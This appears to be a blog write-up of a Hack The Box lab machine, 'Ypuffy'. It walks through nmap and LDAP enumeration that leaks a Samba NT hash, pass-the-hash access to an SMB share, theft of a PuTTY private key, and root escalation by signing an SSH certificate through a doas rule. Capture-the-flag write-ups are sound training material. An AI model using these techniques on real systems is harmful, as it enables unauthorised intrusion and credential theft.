Blog


HTB{ Ypuffy }

Sep 15, 2018 | 9 minutes read

Tags: hack the box, OpenBSD, ssh, ldap, samba, putty

htb-badge


Ypuffy was interesting for me in a few ways. I enjoyed getting a chance to work with ldap and samba. I also really liked exploring how certificates can be used for signing ssh keys. After the recent string of difficult boxes, it was nice to do a relatively simple challenge that made me think, research, and learn some new concepts. The creator, AuxSarge, did an excellent job with this machine.

Scans

masscan

As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 -p0-65535 --rate 700 -oL scan.10.10.10.70.tcp 10.10.10.70
═════════════════════════════════════════════════════════════════════════

open tcp 445 10.10.10.107 1537041292
open tcp 80 10.10.10.107 1537041298
open tcp 389 10.10.10.107 1537041363
open tcp 22 10.10.10.107 1537041409
open tcp 139 10.10.10.107 1537041419

The things that immediately jumped out at me with this response were ports 139, 445, and 389. Lightweight Directory Access Protocol (LDAP) immediately makes me think of Active Directory. They’re not the same thing, but Active Directory supports LDAP. Rob Sobers explains the relationship between the two very well, and I’ll just quote him, because it’s much better than what I would have come up with on my own.

The relationship between AD and LDAP is much like the relationship between Apache and HTTP:

HTTP is a web protocol. Apache is a web server that uses the HTTP protocol.

Similarly, LDAP is a directory services protocol. Active Directory is a directory server that uses the LDAP protocol.

nmap

nmap -p 445,80,389,22,139 -sC -sV -oN nmap.scan 10.10.10.107
════════════════════════════════════════════════════════════

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp  open  http        OpenBSD httpd
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h22m41s, deviation: 2h18m34s, median: 2m41s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6)
|   Computer name: ypuffy
|   NetBIOS computer name: YPUFFY\x00
|   Domain name: hackthebox.htb
|   FQDN: ypuffy.hackthebox.htb
|_  System time: 2018-09-15T16:03:58-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-09-15 15:03:58
|_  start_date: N/A

User Access via LDAP

LDAP Search via Anonymous Bind

The thing that I keyed off on in the nmap scan is that nmap ran some sort of script against the ldap server to get the response Anonymous bind OK. If you’re not aware, the -sC argument to nmap is short-hand for --script=default. Essentially, nmap runs a batch of scripts that fall under the default category. The question that occurred to me is, what other scripts does nmap have for ldap?.

A quick locate and grep can answer that question.

locate nmap | grep ldap
═══════════════════════

/usr/share/nmap/nselib/ldap.lua
/usr/share/nmap/scripts/ldap-brute.nse
/usr/share/nmap/scripts/ldap-novell-getpass.nse
/usr/share/nmap/scripts/ldap-rootdse.nse
/usr/share/nmap/scripts/ldap-search.nse

After a little research, ldap-search seemed like a good candidate to enumerate ldap on the box.

 1nmap -p 389 --script=ldap-search -oN ldap-search.scan 10.10.10.107
 2══════════════════════════════════════════════════════════════════
 3
 4PORT    STATE SERVICE
 5389/tcp open  ldap
 6| ldap-search: 
 7|   Context: dc=hackthebox,dc=htb
 8-------------8<-------------
 9|     dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
10|         uid: alice1978
11|         cn: Alice
12|         objectClass: account
13|         objectClass: posixAccount
14|         objectClass: top
15|         objectClass: sambaSamAccount
16|         userPassword: {BSDAUTH}alice1978
17|         uidNumber: 5000
18|         gidNumber: 5000
19|         gecos: Alice
20|         homeDirectory: /home/alice1978
21|         loginShell: /bin/ksh
22|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
23|         displayName: Alice
24|         sambaAcctFlags: [U          ]
25|         sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
26|         sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
27|         sambaPwdLastSet: 1532916644
28-------------8<-------------

SUCCESS! A quick sift through the information returned by nmap provides us with an important field concerning samba authentication: sambaNTPassword. According to TFM, having the sambaNTPassword is basically the same thing as having a cleartext password. Armed with that knowledge, it was time to access some shares!

NT Password Hash

This is the Windows NT hash of the user’s password, encoded as 32 hex digits.

WARNING !!. Note that, due to the challenge-response nature of the SMB/CIFS authentication protocol, anyone with a knowledge of this password hash will be able to impersonate the user on the network. For this reason these hashes are known as plain text equivalents and must NOT be made available to anyone but the root user. To protect these passwords the smbpasswd file is placed in a directory with read and traverse access only to the root user and the smbpasswd file itself must be set to be read/write only by root, with no other access.

List alice’s Shares

Before we can mount a share, aside from guessing blindly at things like C$, we need to list out what shares are available. smbclient makes this very simple.

smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash -L 10.10.10.107
════════════════════════════════════════════════════════════════════════════════════

	Sharename       Type      Comment
	---------       ----      -------
	alice           Disk      Alice's Windows Directory
	IPC$            IPC       IPC Service (Samba Server)

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------

And there we see the share alice, ready and waiting to be pilfered.

smbclient options used:
  
  -U|--user=username[%password]  
    Sets the SMB username or username and password
    If %password is not specified, the user will be prompted.
  
  --pw-nt-hash  
    The supplied password is the NT hash

  -L 
     allows you to look at what services are available on a server

Connect to the alice Share

smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash \\\\10.10.10.107\\alice

Once connected to the share, we list out its contents and see a putty key named my_private_key.

smb: \> ls
  .                                   D        0  Mon Jul 30 21:54:20 2018
  ..                                  D        0  Tue Jul 31 22:16:50 2018
  my_private_key.ppk                  A     1460  Mon Jul 16 20:38:51 2018

smb: \> get my_private_key.ppk 
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (4.4 KiloBytes/sec) (average 4.4 KiloBytes/sec)

Convert Putty Key to OpenSSH Key

The last step is to convert our putty key to an OpenSSH key-pair.

 1my_private_key.ppk
 2══════════════════
 3
 4PuTTY-User-Key-File-2: ssh-rsa
 5Encryption: none
 6Comment: rsa-key-20180716
 7Public-Lines: 6
 8AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
 91am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux
10BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj
11h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
12iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
13ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw==
14Private-Lines: 14
15AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF
16VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE
17-------------8<-------------

The apt package putty-tools contains a tool called puttygen that will allow us to easily convert the putty key.

apt install putty-tools

After putty-tools install is complete, we can run puttygen to do the actual conversion.

puttygen my_private_key.ppk -O private-openssh -o alice1978-id_rsa
puttygen my_private_key.ppk -O public-openssh -o alice1978-id_rsa.pub
puttygen options used:
  -O 
    specify output type
  
  -o 
    specify output file 

Now that we have some OpenSSH keys, it’s time to get a shell on target!

ssh -l alice1978 -i alice1978-id_rsa 10.10.10.107 "wc -c user.txt"
══════════════════════════════════════════════════════════════════

33 user.txt

\o/ - user access: alice1978

alice1978 to root via userca

Re-enumeration

Now that we have a different level of access, we need to re-enumerate with that access. The biggest indicator of what our next step should be is the entry in doas.conf.

1-------------8<------------- 
2/home/userca/ca
3/home/userca/ca.pub
4/home/userca/.ssh
5-------------8<-------------
6/etc/doas.conf:2:permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen 
7-------------8<-------------

Relevant Configurations

The doas utility executes commands as other users according to the rules in the doas.conf configuration file. The rules have the following format:

permit|deny [options] identity [as target] [cmd command [args ...]]

Let’s check out the system’s doas.conf.

1/etc/doas.conf
2══════════════
3
4permit keepenv :wheel
5permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

If you’re at all familiar with sudo, it should be pretty easy to see what’s happening. In plain english, the user alice1978 is allowed to run the command /usr/bin/ssh-keygen as though she is actually the user userca without having to specify a password.

The ssh server’s configuration also has some interesting pieces, highlighted below.

 1/etc/ssh/sshd_config
 2════════════════════
 3# $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $
 4
 5# This is the sshd server system-wide configuration file.  See
 6# sshd_config(5) for more information.
 7
 8-------------8<-------------
 9
10#AuthorizedPrincipalsFile none
11
12AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
13AuthorizedKeysCommandUser nobody
14
15TrustedUserCAKeys /home/userca/ca.pub
16AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
17AuthorizedPrincipalsCommandUser nobody
18
19-------------8<-------------

Everything so far seems to be pointing us to generating keys and somehow integrating a Certificate Authority (all those ca’s floating around). Time to RTFM!!

Relevant man Pages

Not that I knew it before doing this box, but ssh actually has the functionality to use a certificate authority to authenticate servers and clients. Let’s pull some of that information from the man pages.

I’ve highlighted what I found to be the most useful from these sections. The TrustedUserCAKeys file can be used to sign a client certificate for authentication to this server. The AuthorizedPrincipalsCommand will allow us to determine valid principals for a given user on the system.

sshd_config man page
════════════════════

TrustedUserCAKeys
    Specifies a file containing public keys of certificate
    authorities that are trusted to sign user certificates for
    authentication, or none to not use one.  
    -------------8<-------------  
    If a certificate is presented for authentication and has its signing
    CA key listed in this file, then it may be used for
    authentication for any user listed in the certificate's
    principals list.

-------------8<-------------

AuthorizedPrincipalsCommand
    Specifies a program to be used to generate the list of allowed
    certificate principals as per AuthorizedPrincipalsFile.  
    -------------8<-------------
    If either AuthorizedPrincipalsCommand or AuthorizedPrincipalsFile is
    specified, then certificates offered by the client for
    authentication must contain a principal that is listed.
ssh-keygen man page 
═══════════════════

Certificates may be limited to be valid for a set of principal
(user/host) names.  By default, generated certificates are valid for all
users or hosts.
-------------8<-------------
CERTIFICATES
    Clients or servers may then trust only the CA key and verify
    its signature on a certificate rather than trusting many user/host keys.
    -------------8<-------------
    
-------------8<-------------
  To generate a certificate for a specified set of principals:

    $ ssh-keygen -s ca_key -I key_id -n user1,user2 user_key.pub
    $ ssh-keygen -s ca_key -I key_id -h -n host.domain host_key.pub

Determining Valid Principals

The ssh configuration file told us the exact command to list out valid principals, all we need to do is fire it off against the users on the box. A quick for loop can take care of that.

1for i in $(cut -f 1 -d : /etc/passwd); do 
2  echo -n "$i: " 
3  curl "http://127.0.0.1/sshauth?type=principals&username=$i" 
4  echo
5done

The only one that comes back is root with a principal name of 3m3rgencyB4ckd00r. Sounds like a winner!

root: 3m3rgencyB4ckd00r
daemon: 
operator: 
bin: 
-------------8<-------------

Locally Generate Keys

All we need to do now is generate keys, upload them, and sign them. To start, we’ll use our own local ssh-keygen to produce a key-pair (use the -f option to not blow away any real keys you may be using in your .ssh folder)

ssh-keygen -f ./id_rsa

A quick scp will get the keys on target.

scp -i alice1978-id_rsa id_rsa* alice1978@10.10.10.107:/tmp

Sign Keys on Target

Finally, we can utilize the doas command to sign the keys we uploaded.

doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I epi -n 3m3rgencyB4ckd00r /tmp/id_rsa.pub
═════════════════════════════════════════════════════════════════════════════════════════════════

Signed user key /tmp/id_rsa-cert.pub: id "epi" serial 0 for 3m3rgencyB4ckd00r valid forever
ssh-keygen options used:

  -s ca_key
    Certify (sign) a public key using the specified CA key.

  -I certificate_identity
    Specify the key identity when signing a public key.
  
  -n principals
    Specify one or more principals (user or host names) to be included in a certificate when signing a key.

At last, ssh to localhost as root using our shiny new CA signed key.

ssh -i id_rsa -l root 127.0.0.1 "wc -c /root/root.txt"
══════════════════════════════════════════════════════

33 /root/root.txt

\o/ - root access

I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. How To Create an SSH CA to Validate Hosts and Clients with Ubuntu

comments powered by Disqus